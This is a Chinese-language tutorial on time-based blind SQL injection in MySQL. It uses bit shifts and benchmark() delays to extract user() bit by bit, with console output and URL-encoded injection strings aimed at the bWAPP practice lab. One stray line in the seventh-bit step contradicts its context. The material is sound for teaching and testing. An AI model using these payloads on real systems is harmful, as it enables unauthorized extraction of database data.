- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 如何使用MySQL位函數和運算符進(jìn)行基于時(shí)間的高效
本篇內容主要講解“如何使用位函數和運算符進(jìn)行基于時(shí)間的高效SQL盲注”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“如何使用MySQL位函數和運算符進(jìn)行基于時(shí)間的高效SQL盲注”吧!
右移位運算符會(huì )將二進(jìn)制值1位的位數向右移位,如下所示:
mysql> select ascii(b'01110010'); +--------------------+ | ascii(b'01110010') | +--------------------+ | 114 | +--------------------+ 1 row in set (0.00 sec) mysql> select ascii(b'01110010') >> 1; +-------------------------+ | ascii(b'01110010') >> 1 | +-------------------------+ | 57 | +-------------------------+ 1 row in set (0.00 sec)
這可用于在SQL盲注時(shí)枚舉字符串的字符。如果數據出現在完整的ASCII表中,則每個(gè)字符最多可以枚舉8個(gè)請求。
這里我們希望提取的數據是select user()查詢(xún)返回的第一個(gè)字符。
我們首先找到第一位的值:
????????
有兩種可能性:
0 (Decimal value: 0) // TRUE condition
或
1 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | 0 | +--------------------------------------------------------------------------------------+ 1 row in set (2.35 sec)
SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE,第一位為0
0???????
現在我們來(lái)查找第二位的值,和上面一樣有兩種可能性:
00 (Decimal value: 0) // TRUE condition
或
01 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢(xún)沒(méi)有發(fā)生時(shí)間延遲,因此條件為FALSE第二位為1
01?????
現在我們查找第三位的值,同樣兩種可能性:
010 (Decimal value: 2) // TRUE
或
011 (Decimal value: 3) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢(xún)沒(méi)有時(shí)間延遲,因此條件為FALSE第三位為1
011?????
現在我們查找第四位的值,兩種可能性:
0110 (Decimal: 6) // TRUE
或
0111 (Decimal: 7) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢(xún)沒(méi)有時(shí)間延遲,因此條件為FALSE第四位為1
0111????
現在我們查找第五位的值,兩種可能性:
01110 (Decimal: 14) /// TRUE
或
01111 (Decimal: 15) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.46 sec)
SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE第五位為0
01110???
現在我們查找第六位的值,兩種可能性:
011100 (Decimal: 28) // TRUE
或
011101 (Decimal: 29) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.44 sec)
SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE第六位為0
011100??
現在我們查找第七位的值,兩種可能性:
0111000 (Decimal: 56) // TRUE
或
0111001 (Decimal: 57) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | false | +---------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢(xún)沒(méi)有時(shí)間延遲,因此條件為FALSE第七位為1
第四位必須為1
0111001?
現在我們查找第八位的值,兩種可能性:
01110010 (Decimal: 114) // TRUE
或
01110011 (Decimal: 115) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false'); +----------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') | +----------------------------------------------------------------------------------------+ | 0 | +----------------------------------------------------------------------------------------+ 1 row in set (2.33 sec)
SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE第八位為0
01110010
到這里我們就完整獲取到了select user() 查詢(xún)返回的第一個(gè)字符的二進(jìn)制值,轉換成十進(jìn)制后為114。而114在A(yíng)SCII表中表示的是r字符,因此該數據庫用戶(hù)名的首字母為r。
mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec)
為了說(shuō)明這種類(lèi)型的SQL盲注攻擊,我已向大家演示了如何在bWAPP易受攻擊的應用程序上,枚舉“select user()”返回的第一個(gè)字符的第一個(gè)和最后一個(gè)二進(jìn)制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/
1. 第一位SQLi字符串返回TRUE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2. 第一位SQLi字符串返回FALSE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3. 第八位SQLi字符串返回FALSE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站